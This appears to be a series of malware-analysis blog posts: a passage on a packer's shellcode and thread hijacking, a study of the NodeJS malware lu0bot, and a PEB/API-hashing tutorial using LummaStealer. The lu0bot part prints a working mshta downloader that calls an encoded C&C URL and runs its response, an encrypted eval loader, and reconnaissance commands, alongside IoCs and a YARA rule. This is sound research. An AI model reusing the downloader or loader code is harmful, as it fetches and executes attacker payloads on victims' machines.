k[2] = dword_44015C;
i = 32;
do
{
// Junk code purged
v7 = k[2] + (y >> 5);
v9 = (sum + y) ^ (k[3] + 16 * y);
v8 = v9 ^ v7;
z -= v8;
v10 = k[0] + 16 * z;
(_TEA_Y_Operation)((sum + z) ^ (k[1] + (z >> 5)) ^ v10);
sum += 0x61C88647; // exact equivalent of sum -= 0x9
--i;
}
while ( i );
result = v;
v[1] = z;
*v = y;
return result;
}
At this step, the first stage of this packer is now almost complete. By inspecting the dump, you can recognizing our shellcode being ready for action (55 8B EC opcodes are in my personal experience stuff that triggered me almost everytime).
Stage 2 – Falling into the shellcode playground
This shellcode is pretty simple, the main function is just calling two functions:
For beginners, i sorted all these values with there respective variable names and meaning.
offset
Type
Variable
Value
0x00
LIST_ENTRY
InLoaderOrderModuleList->Flink
A8 3B 8D 00
0x04
LIST_ENTRY
InLoaderOrderModuleList->Blink
C8 37 8D 00
0x08
LIST_ENTRY
InMemoryOrderList->Flink
B0 3B 8D 00
0x0C
LIST_ENTRY
InMemoryOrderList->Blick
D0 37 8D 00
0x10
LIST_ENTRY
InInitializationOrderModulerList->Flink
70 3F 8D 00
0x14
LIST_ENTRY
InInitializationOrderModulerList->Blink
BC 7B CC 77
0x18
PVOID
BaseAddress
00 00 BB 77
0x1C
PVOID
EntryPoint
00 00 00 00
0x20
UINT
SizeOfImage
00 00 19 00
0x24
UNICODE_STRING
FullDllName
3A 00 3C 00 A0 35 8D 00
0x2C
UNICODE_STRING
BaseDllName
12 00 14 00 B0 6D BB 77
Because he wants at the first the BaseDllNamefor getting kernel32.dll We could supposed the shellcode will use the offset 0x2c for having the value but it’s pointing to 0x30
The checksum function used here seems to have a decent risk of hash collisions, but based on the number of occurrences and length of the strings, it’s negligible. Otherwise yeah, it could be fucked up very quickly.
BOOL Checksum(PWSTR *pBuffer, int hash, int i)
{
int pos; // ecx
int checksum; // ebx
int c; // edx
pos = 0;
checksum = 0;
c = 0;
do
{
LOBYTE(c) = *pBuffer | 0x60; // Lowercase
checksum = 2 * (c + checksum);
pBuffer += i; // +2 due it's UNICODE
LOBYTE(pos) = *pBuffer;
--pos;
}
while ( *pBuffer && pos );
return checksum != hash;
}
Find the correct function address
With the pEntry list saved and the checksum function assimilated, it only needs to perform a loop that repeat the process to get the name of the function, put him into the checksum then comparing it with the one that the packer wants.
When the name is matching with the hash in output, so it only requiring now to grab the function address and store into EAX.
0096529D | 58 | pop eax |
0096529E | 33D2 | xor edx,edx | Purge
009652A0 | 66:8B13 | mov dx,word ptr ds:[ebx] |
009652A3 | C1E2 02 | shl edx,2 | Ordinal Value
009652A6 | 03CA | add ecx,edx | Function Address RVA
009652A8 | 0301 | add eax,dword ptr ds:[ecx] | Function Address = BaseAddress + Function Address RVA
009652AA | 59 | pop ecx |
009652AB | 5F | pop edi |
009652AC | 5E | pop esi |
009652AD | 5B | pop ebx |
009652AE | 8BE5 | mov esp,ebp |
009652B0 | 5D | pop ebp |
009652B1 | C2 0800 | ret 8 |
Road to the second shellcode ! \o/
Saving API into a structure
Now that LoadLibraryA and GetProcAddress are saved, it only needs to select the function name it wants and putting it into the routine explain above.
In the end, the shellcode is completely setup
struct SHELLCODE
{
_BYTE Start;
SCHEADER *ScHeader;
int ScStartOffset;
int seed;
int (__stdcall *pLoadLibraryA)(int *);
int (__stdcall *pGetProcAddress)(int, int *);
PVOID GlobalAlloc;
PVOID GetLastError;
PVOID Sleep;
PVOID VirtuaAlloc;
PVOID CreateToolhelp32Snapshot;
PVOID Module32First;
PVOID CloseHandle;
};
struct SCHEADER
{
_DWORD dwSize;
_DWORD dwSeed;
_BYTE option;
_DWORD dwDecompressedSize;
};
Abusing fake loops
Something that i really found cool in this packer is how the fake loop are funky. They have no sense but somehow they are working and it’s somewhat amazing. The more absurd it is, the more i like and i found this really clever.
int __cdecl ExecuteShellcode(SHELLCODE *sc)
{
unsigned int i; // ebx
int hModule; // edi
int lpme[137]; // [esp+Ch] [ebp-224h] BYREF
lpme[0] = 0x224;
for ( i = 0; i < 0x64; ++i )
{
if ( i )
(sc->Sleep)(100);
hModule = (sc->CreateToolhelp32Snapshot)(TH32CS_SNAPMODULE, 0);
if ( hModule != -1 )
break;
if ( (sc->GetLastError)() != 24 )
break;
}
if ( (sc->Module32First)(hModule, lpme) )
JumpToShellcode(sc); // <------ This is where to look :)
return (sc->CloseHandle)(hModule);
}
The decryption is even simpler than the one for the first stage by using a simple re-implementation of the ms_rand function, with a set seed value grabbed from the shellcode structure, that i decided to call here SCHEADER.
int Decrypt(SHELLCODE *sc, int startOffset, unsigned int size, int s) { int seed; // eax unsigned int count; // esi _BYTE *v6; // edx
Interestingly, the stack string trick is different from the first stage
Fake loop once, fake loop forever
At this rate now, you understood, that almost everything is a lie in this packer. We have another perfect example here, with a fake loop consisting of checking a non-existent file attribute where in the reality, the variable “j” is the only one that have a sense.
void __cdecl _Inject(SC *sc)
{
LPSTRING lpFileName; // [esp+0h] [ebp-14h]
char magic[8];
unsigned int j;
int i;
strcpy(magic, "apfHQ");
j = 0;
i = 0;
while ( i != 111 )
{
lpFileName = (sc->GetFileAttributesA)(magic);
if ( j > 1 && lpFileName != 0x637ADF )
{
i = 111;
SetupInject(sc);
}
++j;
}
}
Good ol’ remote thread hijacking
Then entering into the Inject setup function, no need much to say, the remote thread hijacking trick is used for executing the final payload.
As explained at the beginning, whenever you have reversed this packer, you understand that the core is pretty similar every-time. It took only few seconds, to breakpoints at specific places to reach the shellcode stage(s).
Identifying core pattern (LocalAlloc, Module Handle and VirtualProtect)
The funny is on the decryption used now in the first stage, it’s the exact copy pasta from the shellcode side.
TEA decryption replaced with rand() + xor like the first shellcode stage
At the start of the second stage, there is not so much to say that the instructions are almost identical
Shellcode n°1 is identical into two different campaign waves
It seems that the second shellcode changed few hours ago (at the date of this paper), so let’s see if other are motivated to make their own analysis of it
Conclusion
Well well, it’s cool sometimes to deal with something easy but efficient. It has indeed surprised me to see that the core is identical over the time but I insist this packer is really awesome for training and teaching someone into malware/reverse engineering.
Well, now it’s time to go serious for the next release 🙂
In February/March 2021, A curious lightweight payload has been observed from a well-known load seller platform. At the opposite of classic info-stealers being pushed at an industrial level, this one is widely different in the current landscape/trends. Feeling being in front of a grey box is somewhat a stressful problem, where you have no idea about what it could be behind and how it works, but in another way, it also means that you will learn way more than a usual standard investigation.
I didn’t feel like this since Qulab and at that time, this AutoIT malware gave me some headaches due to its packer. but after cleaning it and realizing it’s rudimentary, the challenge was over. In this case, analyzing NodeJS malware is definitely another approach.
I will just expose some current findings of it, I don’t have all answers, but at least, it will door opened for further researches.
Disclaimer: I don’t know the real name of this malware.
Minimalist C/C++ loader
When lu0bot is deployed on a machine, the first stage is a 2.5 ko lightweight payload which has only two section headers.
Curious PE Sections
Written in C/C++, only one function has been developped.
void start()
{
char *buff;
buff = CmdLine;
do
{
buff -= 'NPJO'; // The key seems random after each build
buff += 4;
}
while ( v0 < &CmdLine[424] );
WinExec(CmdLine, 0); // ... to the moon ! \o/
ExitProcess(0);
}
This rudimentary loop is focused on decrypting a buffer, unveiling then a one-line JavaScript code executed through WinExec()
Simple sub loop for unveiling the next stage
Indeed, MSHTA is used executing this malicious script. So in term of monitoring, it’s easy to catch this interaction.
mshta "javascript: document.write();
42;
y = unescape('%312%7Eh%74t%70%3A%2F%2F%68r%692%2Ex%79z%2Fh%72i%2F%3F%321%616%654%62%7E%321%32').split('~');
103;
try {
x = 'WinHttp';
127;
x = new ActiveXObject(x + '.' + x + 'Request.5.1');
26;
x.open('GET', y[1] + '&a=' + escape(window.navigator.userAgent), !1);
192;
x.send();
37;
y = 'ipt.S';
72;
new ActiveXObject('WScr' + y + 'hell').Run(unescape(unescape(x.responseText)), 0, !2);
179;
} catch (e) {};
234;;
window.close();"
Setting up NodeJs
Following the script from above, it is designed to perform an HTTP GET request from a C&C (let’s say it’s the first C&C Layer). Then the response is executed as an ActiveXObject.
new ActiveXObject('WScr' + y + 'hell').Run(unescape(unescape(x.responseText)), 0, !2);
Let’s inspect the code (response) step by step
cmd /d/s/c cd /d "%ALLUSERSPROFILE%" & mkdir "DNTException" & cd "DNTException" & dir /a node.exe [...]
In the end, this whole process is designed for retrieving the required NodeJS runtime.
Lu0bot nodejs loader initialization process
Matryoshka Doll(J)s
Luckily the code is in fact pretty well written and comprehensible at this layer. It is 20~ lines of code that will build the whole malware thanks to one and simple API call: eval.
implistic lu0bot nodejs loader that is basically the starting point for everything
From my own experience, I’m not usually confronted with malware using UDP protocol for communicating with C&C’s. Furthermore, I don’t think in the same way, it’s usual to switch from TCP to UDP like it was nothing. When I analyzed it for the first time, I found it odd to see so many noisy interactions in the machine with just two HTTP requests. Then I realized that I was watching the visible side of a gigantic iceberg…
Well played OwO
For those who are uncomfortable with NodeJS, the script is designed to sent periodically UDP requests over port 19584 on two specific domains. When a message is received, it is decrypted with a standard XOR decryption loop, the output is a ready-to-use code that will be executed right after with eval. Interestingly the first byte of the response is also part of the key, so it means that every time a response is received, it is likely dynamically different even if it’s the same one.
In the end, lu0bot is basically working in that way
lu0bot nodejs malware architecture
After digging into each code executed, It really feels that you are playing with matryoshka dolls, due to recursive eval loops unveiling more content/functions over time. It’s also the reason why this malware could be simple and complex at the same time if you aren’t experienced with this strategy.
The madness philosophy behind eval() calls
For adding more nonsense it is using different encryption algorithms whatever during communications or storing variables content:
XOR
AES-128-CBC
Diffie-Hellman
Blowfish
Understanding Lu0bot variables
S (as Socket)
Fundamental Variable
UDP communications with C&C’s
Receiving main classes/variables
Executing “main branches” code
function om1(r,q,m) # Object Message 1
|--> r # Remote Address Information
|--> q # Query
|--> m # Message
function c1r(m,o,d) # Call 1 Response
|--> m # Message
|--> o # Object
|--> d # Data
function sc/c1/c2/c3(m,r) # SetupCall/Call1/Call2/Call3
|--> m # Message
|--> r # Remote Address Information
function ss(p,q,c,d) # ScriptSetup / SocketSetup
|--> p # Personal ID
|--> q # Query
|--> c # Crypto/Cipher
|--> d # Data
function f() # UDP C2 communications
KO (as Key Object ?)
lu0bot mastermind
Containing all bot information
C&C side
Client side
storing fundamental handle functions for task manager(s)
eval | buffer | file
ko {
pid: # Personal ID
aid: # Address ID (C2)
q: # Query
t: # Timestamp
lq: {
# Query List
},
pk: # Public Key
k: # Key
mp: {}, # Module Packet/Package
mp_new: [Function: mp_new], # New Packet/Package in the queue
mp_get: [Function: mp_get], # Get Packet/Package from the queue
mp_count: [Function: mp_count], # Packer/Package Counter
mp_loss: [Function: mp_loss], # ???
mp_del: [Function: mp_del], # Delete Packet/Package from the queue
mp_dtchk: [Function: mp_dtchk], # Data Check
mp_dtsum: [Function: mp_dtsum], # Data Sum
mp_pset: [Function: mp_pset], # Updating Packet/Package from the queue
h: { # Handle
eval: [Function],
bufwrite: [Function],
bufread: [Function],
filewrite: [Function],
fileread: [Function]
},
mp_opnew: [Function: mp_opnew], # Create New
mp_opstat: [Function: mp_opstat], # get stats from MP
mp_pget: [Function], # Get Packet/Package from MP
mp_pget_ev: [Function] # Get Packet/Package Timer Intervals
}
MP
Module Package/Packet/Program ?
Monitoring and logging an executed task/script.
mp:
{ key: # Key is Personal ID
{ id: , # Key ID (Event ID)
pid: , # Personal ID
gen: , # Starting Timestamp
last: , # Last Tick Update
tmr: [Object], # Timer
p: {}, # Package/Packet
psz: # Package/Packet Size
btotal: # ???
type: 'upload', # Upload/Download type
hn: 'bufread', # Handle name called
target: 'binit', # Script name called (From C&C)
fp: , # Buffer
size: , # Size
fcb: [Function], # FailCallBack
rcb: [Function], # ???
interval: 200, # Internval Timer
last_sev: 1622641866909, # Last Timer Event
stmr: false # Script Timer
}
Ingenious trick for calling functions dynamically
Usually, when you are reversing malware, you are always confronted (or almost every time) about maldev hiding API Calls with tricks like GetProcAddress or Hashing.
function sc(m, r) {
if (!m || m.length < 34) return;
m[16] ^= m[2];
m[17] ^= m[3];
var l = m.readUInt16BE(16);
if (18 + l > m.length) return;
var ko = s.pk[r.address + ' ' + r.port];
var c = crypto.createDecipheriv('aes-128-cbc', ko.k, m.slice(0, 16));
m = Buffer.concat([c.update(m.slice(18, 18 + l)), c.final()]);
m = {
q: m.readUInt32BE(0),
c: m.readUInt16BE(4),
ko: ko,
d: m.slice(6)
};
l = 'c' + m.c; // Function name is now saved
if (s[l]) s[l](m, r);
}
As someone that is not really experienced in the NodeJS environment, I wasn’t really triggering the trick performed here but for web dev, I would believe this is likely obvious (or maybe I’m wrong). The thing that you need to really take attention to is what is happening with “c” char and m.c.
By reading the official NodeJs documemtation: The Buffer.readUInt16BE() method is an inbuilt application programming interface of class Buffer within the Buffer module which is used to read 16-bit value from an allocated buffer at a specified offset.
Buffer.readUInt16BE( offset )
In this example it will return in a real case scenario the value “1”, so with the variable l, it will create “c1” , a function stored into the global variable s. In the end, s[“c1”](m,r) is also meaning s.c1(m,r).
A well-done task manager architecture
Q variable used as Macro PoV Task Manager
“Q” is designed to be the main task manager.
If Q value is not on LQ, adding it into LQ stack, then executing the code content (with eval) from m (message).
if (!lq[q]) { // if query not in the queue, creating it
lq[q] = [0, false];
setTimeout(function() {
delete lq[q]
}, 30000);
try {
for (var p = 0; p < m.d.length; p++)
if (!m.d[p]) break;
var es = m.d.slice(0, p).toString(); // es -> Execute Script
m.d = m.d.slice(p + 1);
if (!m.d.length) m.d = false;
eval(es) // eval, our sweat eval...
} catch (e) {
console.log(e);
}
return;
}
if (lq[q][0]) {
s.ss(ko.pid, q, 1, lq[q][1]);
}
MP variable used as Micro PoV Task Manager
“MP” is designed to execute tasks coming from C&C’s.
Each task is executed independantly!
function mp_opnew(m) {
var o = false; // o -> object
try {
o = JSON.parse(m.d); // m.d (message.data) is saved into o
} catch (e) {}
if (!o || !o.id) return c1r(m, -1); // if o empty, or no id, returning -1
if (!ko.h[o.hn]) return c1r(m, -2); // if no functions set from hn, returning -2
var mp = ko.mp_new(o.id); // Creating mp ---------------------------
for (var k in o) mp[k] = o[k]; |
var hr = ko.h[o.hn](mp); |
if (!hr) { |
ko.mp_del(mp); |
return c1r(m, -3) // if hr is incomplete, returning -3 |
} |
c1r(m, hr); // returning hr |
} |
|
function mp_new(id, ivl) { <----------------------------------------------------
var ivl = ivl ? ivl : 5000; // ivl -> interval
var now = Date.now();
if (!lmp[id]) lmp[id] = { // mp list
id: id,
pid: ko.pid,
gen: now,
last: now,
tmr: false,
p: {},
psz: 0,
btotal: 0
};
var mp = lmp[id];
if (!mp.tmr) mp.tmr = setInterval(function() {
if (Date.now() - mp.last > 1000 * 120) {
ko.mp_del(id);
return;
}
if (mp.tcb) mp.tcb(mp);
}, ivl);
mp.last = now;
return mp;
}
O (Object) – C&C Task
This object is receiving tasks from the C&C. Technically, this is (I believed) one of the most interesting variable to track with this malware..
It contains 4 or 5 values
type.
upload
download
hn : Handle Name
sz: Size (Before Zlib decompression)
psz: ???
target: name of the command/script received from C&C
on this specific scenario, it’s uploading on the bot a file from the C&C called “bootstrap-base.js” and it will be called with the handle name (hn) function eval.
Summary
Aggressive telemetry harvester
Usually, when malware is gathering information from a new bot it is extremely fast but here for exactly 7/8 minutes your VM/Machine is literally having a bad time.
Preparing environment
Gathering system information
Process info
tasklist /fo csv /nh
wmic process get processid,parentprocessid,name,executablepath /format:csv
qprocess *
var c = new Buffer((process.argv[2] + 38030944).substr(0, 8));
c = require("crypto").createDecipheriv("bf", c, c);
global["\x65\x76" + "\x61\x6c"](Buffer.concat([c.update(new Buffer("XSpPi1eP/0WpsZRcbNXtfiw8cHqIm5HuTgi3xrsxVbpNFeB6S6BXccVSfA/JcVXWdGhhZhJf4wHv0PwfeP1NjoyopLZF8KonEhv0cWJ7anho0z6s+0FHSixl7V8dQm3DTlEx9zw7nh9SGo7MMQHRGR63gzXnbO7Z9+n3J75SK44dT4fNByIDf4rywWv1+U7FRRfK+GPmwwwkJWLbeEgemADWttHqKYWgEvqEwrfJqAsKU/TS9eowu13njTAufwrwjqjN9tQNCzk5olN0FZ9Cqo/0kE5+HWefh4f626PAubxQQ52X+SuUqYiu6fiLTNPlQ4UVYa6N61tEGX3YlMLlPt9NNulR8Q1phgogDTEBKGcBlzh9Jlg3Q+2Fp84z5Z7YfQKEXkmXl/eob8p4Putzuk0uR7/+Q8k8R2DK1iRyNw5XIsfqhX3HUhBN/3ECQYfz+wBDo/M1re1+VKz4A5KHjRE+xDXu4NcgkFmL6HqzCMIphnh5MZtZEq+X8NHybY2cL1gnJx6DsGTU5oGhzTh/1g9CqG6FOKTswaGupif+mk1lw5GG2P5b5w==", "\x62\x61\x73" + "\x65\x36\x34")), c.final()]).toString());
The workaround is pretty cool in the end
WScript is launched after waiting for 30s
JScript is calling “Intel MEC 750293792”
“Intel MEC 750293792” is executing node.exe with arguments from the upper layer
This setup is triggering the script “Intel MEC 246919961”
the Integer value from the upper layer(s) is part of the Blowfish key generation
global[“\x65\x76” + “\x61\x6c”] is in fact hiding an eval call
the encrypted buffer is storing the lu0bot NodeJS loader.
Ongoing troubleshooting in production ?
It is possible to see in some of the commands received, some lines of codes that are disabled. Unknown if it’s intended or no, but it’s pretty cool to see about what the maldev is working.
It feels like a possible debugging scenario for understanding an issue.
Outdated NodeJS still living and kickin’
Interestingly, lu0bot is using a very old version of node.exe, way older than could be expected.
node.exe used by lu0bot is an outdated one
This build (0.10.48), is apparently from 2016, so in term of functionalities, there is a little leeway for exploiting NodeJS, due that most of its APIs wasn’t yet implemented at that time.
NodeJs used is from a 2016 build.I feel old by looking the changelog…
The issue mentioned above is “seen” when lu0bot is pushing and executing “bootstrap-base.js“. On build 0.10.XXX, “Buffer” wasn’t fully implemented yet. So the maldev has implemented missing function(s) on this specific version, I found this “interesting”, because it means it will stay with a static NodeJS runtime environment that won’t change for a while (or likely never). This is a way for avoiding cryptography troubleshooting issues, between updates it could changes in implementations that could break the whole project. So fixed build is avoiding maintenance or unwanted/unexpected hotfixes that could caused too much cost/time consumption for the creator of lu0bot (everything is business \o/).
Interesting module version value in bootstrap-base.js
Of course, We couldn’t deny that lu0bot is maybe an old malware, but this statement needs to be taken with cautiousness.
By looking into “bootstrap-base.js”, the module is apparently already on version “6.0.15”, but based on experience, versioning is always a confusing thing with maldev(s), they have all a different approach, so with current elements, it is pretty hard to say more due to the lack of samples.
What is the purpose of lu0bot ?
Well, to be honest, I don’t know… I hate making suggestions with too little information, it’s dangerous and too risky. I don’t want to lead people to the wrong path. It’s already complicated to explain something with no “public” records, even more, when it is in a programming language for that specific purpose. At this stage, It’s smarter to focus on what the code is able to do, and it is certain that it’s a decent data collector.
Also, this simplistic and efficient NodeJS loader code saved at the core of lu0bot is basically everything and nothing at the same time, the eval function and its multi-layer task manager could lead to any possibilities, where each action could be totally independent of the others, so thinking about features like :
Backdoor ?
Loader ?
RAT ?
Infostealer ?
All scenario are possible, but as i said before I could be right or totally wrong.
Where it could be seen ?
Currently, it seems that lu0bot is pushed by the well-known load seller Garbage Cleaner on EU/US Zones irregularly with an average of possible 600-1000 new bots (each wave), depending on the operator(s) and days.
Appendix
IoCs
IP
5.188.206[.]211
lu0bot loader C&C’s (HTTP)
hr0[.]xyz
hr1[.]xyz
hr2[.]xyz
hr3[.]xyz
hr4[.]xyz
hr5[.]xyz
hr6[.]xyz
hr7[.]xyz
hr8[.]xyz
hr9[.]xyz
hr10[.]xyz
lu0bot main C&C’s (UDP side)
lu00[.]xyz
lu01[.]xyz
lu02[.]xyz
lu03[.]xyz
Yara
rule lu0bot_cpp_loader
{
meta:
author = "Fumik0_"
description = "Detecting lu0bot C/C++ lightweight loader"
strings:
$hex_1 = {
BE 00 20 40 00
89 F7
89 F0
81 C7 ?? 01 00 00
81 2E ?? ?? ?? ??
83 C6 04
39 FE
7C ??
BB 00 00 00 00
53 50
E8 ?? ?? ?? ??
E9 ?? ?? ?? ??
}
condition:
(uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and
(filesize > 2KB and filesize < 5KB) and
any of them
}
Network communications are mixing TCP (loader) and UDP (main stage).
It’s pushed at least with Garbage Cleaner.
Its default setup seems to be a aggressive telemetry harvester.
Due to its task manager architecture it is technically able to be everything.
Conclusion
Lu0bot is a curious piece of code which I could admit, even if I don’t like at all NodeJS/JavaScript code, the task manager succeeded in mindblowing me for its ingeniosity.
A wild fumik0_ being amazed by the task manager implementation
I have more questions than answers since then I started to put my hands on that one, but the thing that I’m sure, it’s active and harvesting data from bots that I have never seen before in such an aggressive way.
In this post I’m going to explain how Process Environment Block (PEB) is parsed by malware devs and how that structure is abused. Instead of going too deep into a lot of details, I would like to follow an easier approach pairing the theory with a practical real example using IDA and LummaStealer, without overwhelming the reader with a lot of technical details trying to simplify the data structure involved in the process. At the end of the theory part, I’m going to apply PEB and all related structures in IDA, inspecting malware parsing capabilities that are going to be applied for resolving hashed APIs.
Let’s start.
PEB Structure
The PEB is a crucial data structure that contains various information about a running process. Unlike other Windows structure (e.g., EPROCESS, ETHREAD, etc..), it exists in the user address space and is available for every process at a fixed address in memory (PEB can be found at fs:[0x30] in the Thread Environment Block (TEB) for x86 processes as well as at gs:[0x60] for x64 processes). Some of documented fields that it’s worth knowing are:
BeingDebugged: Whether the process is being debugged;
Ldr: A pointer to a PEB_LDR_DATA structure providing information about loaded modules;
ProcessParameters: A pointer to a RTL_USER_PROCESS_PARAMETERS structure providing information about process startup parameters;
PostProcessInitRoutine: A pointer to a callback function called after DLL initialization but before the main executable code is invoked
Image Loader aka Ldr
When a process is started on the system, the kernel creates a process object to represent it and performs various kernel-related initialization tasks. However, these tasks do not result in the execution of the application, but in the preparation of its context and environment. This work is performed by the image loader (Ldr).
The loader is responsible for several main tasks, including:
Parsing the import address table (IAT) of the application to look for all DLLs that it requires (and then recursively parsing the IAT of each DLL), followed by parsing the export table of the DLLs to make sure the function is actually present.
Loading and unloading DLLs at runtime, as well as on demand, and maintaining a list of all loaded modules (the module database).
Figure 1: PEB, LDR_DATA and LDR_MODULE interactions
At first glance, these structures might seem a little bit confusing. However, let’s simplify them to make them more understandable. We could think about them as a list where the structure PEB_LDR_DATA is the head of the list and each module information is accessed through a double linked list (InOrderLoaderModuleList in this case) that points to LDR_MODULE.
How those structures are abused
Most of the times when we see PEB and LDR_MODULE structure parsing we are dealing with malwares that are potentially using API Hashing technique. Shellcode will typically walk through those structures in order to find the base address of loaded dlls and extract all their exported functions, collecting names and pointers to the functions that are intended to call, avoiding to leave direct reference of them within the malware file.
This is a simple trick that tries to evade some basic protections mechanism that could arise when we see clear references to malware-related functions such as: VirtualAlloc, VirtualProtect, CreateProcessInterW, ResumeThread, etc…
API Hashing
By employing API hashing, malware creators can ensure that specific Windows APIs remain hidden from casual observation. Through this approach, malware developers try to add an extra layer of complexity by concealing suspicious Windows API calls within the Import Address Table (IAT) of PE.
API hashing technique is pretty straightforward and it could be divided in three main steps:
Malware developers prepare a set of hashes corresponding to WINAPI functions.
When an API needs to be called, it looks for loaded modules through the PEB.Ldr structure.
Then, when a module is find, it goes through all the functions performing the hash function until the result matches with the given input.
Figure 2: API Hashing Overview
Now that we have a more understanding of the basic concepts related to API hashing, PEB and Ldr structures, let’s try to put them in practice using LummaStealer as an example.
Parsing PEB and LDR with LummaStealer
Opening up the sample in IDA and scrolling a little after the main function it is possible to bump into very interesting functions that perform some actions on a couple of parameters that are quite interesting and correlated to explanation so far.
Figure 3: Wrapper function for hash resolving routine in LummaStealer
Before function call sub_4082D3 (highlighted) we could see some mov operation of two values:
mov edx, aKernel32Dll_0
...
mov ecx, 0x7328f505
NASM
Those parameters are quite interesting because:
The former represents an interesting dll that contains some useful functions such as LoadLibrary, VirtualAlloc, etc..
The latter appears to be a hash (maybe correlated to the previous string).
If we would like to make an educated guess, it is possible that this function is going to find a function (within kernel32.dll) whose hash corresponds to the input hash. However, let’s try to understand if and how those parameters are manipulated in the function call, validating also our idea.
Figure 4: Parsing PEB and LDR_MODULE for API hash routine.
Through Figure 6, you can see the exact same code, before (left side) and after (right side) renaming structures. Examining the code a little bit we should be able to recall the concepts already explained in the previous sections.
Let’s examine the first block of code. Starting from the top of the code we could spot the instruction mov eax, (large)fs:30h that is going to collect the PEB pointer, storing its value in eax. Then, right after this instruction we could see eaxused with an offset(0xC). In order to understand what is going on, its possible to collect the PEB structure and look for the 0xC offset. Doing that, it’s clear that eax is going to collect the Ldr pointer. The last instruction of the first block is mov edi, [eax+10h] . This is a crucial instruction that needs a dedicated explanation:
If you are going to look at PEB_LDR_DATA you will see that 0x10 offset (for x64 bit architecture) points to InLoadOrderModuleList (that contains, according to its description, pointers to previous and next LDR_MODULE in initialization order). Through this instruction, malware is going to take a LDR_MODULE structure (as explained in Figure 3), settling all the requirements to parse it.
Without going too deep in the code containing the loop (this could be left as an exercise), it is possible to see that the next three blocks are going to find the kernel32.dll iterating over the LDR_MODULE structure parameters.
At the very end of the code, we could see the last block calling a function using the dll pointers retrieved through the loop, using another hash value. This behavior give us another chance for a couple of insight:
This code is a candidate to settle all parameters that are going to be used for API hash resolving routine (as illustrated in the API Hashing section), since that its output will be used as a function call.
The string kernel32.dll gave us some hints about possible candidate functions (e.g., LoadLibraryA, VirtualAlloc, etc..).
With this last consideration, it’s time to conclude this post avoiding adding more layers of complexity, losing our focus on PEB and related structures.
Function recap
Before concluding, let’s try to sum up, what we have seen so far, in order to make the analysis even more clear:
The function 4082D3 takes two parameters that are a hash value and a string containing a dll library.
Iterating over the loaded modules, it looks for the module name containing the hardcoded kernel32.dll.
Once the module is found, it invokes another function (40832A), passing a pointer to the base address of the module and a hash value.
The function returns a pointer to a function that takes as an argument the dll name passed to 4082D3. This behavior suggests that some sort of LoadLibrary has been resolved on point 3.
As a final step, the function 40832A is called once again, using the hash value passed as a parameter in the function 4082D3 and a base address retrieved from the point 4.
Following all the steps it’s easy to spot that the 40832A function is the actual API hash resolving routine and the function 4082D3 has been used to settle all the required variables.
Conclusion
Through this blog post I tried to explain a little bit better how the PEB and related structures are parsed and abused by malwares. However, I also tried to show how malware analysis could be carried out examining the code and renaming structures accordingly. This brief introduction will be also used as a starting point for the next article where I would like to take the same sample and emulate the API hashing routine in order to resolve all hashes, making this sample ready to be analyzed.
Note about simplification
It’s worth mentioning that to make those steps easier, there has been a simplification. In fact, PEB_LDR_DATA contains three different structures that could be used to navigate modules, but for this blogpost, their use could be ignored. Another structure that is worth mentioning it’s LDR_DATA_TABLE_ENTRY that could be considered a corresponding to the LDR_MODULE structure.